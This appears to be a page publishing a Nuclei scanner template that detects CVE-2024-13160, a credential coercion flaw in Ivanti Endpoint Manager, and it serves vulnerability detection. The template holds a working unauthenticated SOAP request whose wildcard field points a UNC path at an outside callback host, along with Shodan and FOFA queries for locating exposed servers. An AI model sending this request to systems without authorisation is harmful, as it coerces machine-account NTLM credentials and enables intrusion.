Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard

ID: CVE-2024-13160

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev

Description

A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.

YAML Source

id: CVE-2024-13160

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13160
    cwe-id: CWE-36
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcard

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcard xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcard>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f05f717a738b319a3dfb77345a6db6980174c36f089bb76431d587e602dc4e2202204be16b64b4f11d8d4b3943b4165357648de29e1ac4c068b70745bc1362ce4bb6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-13160.yaml"

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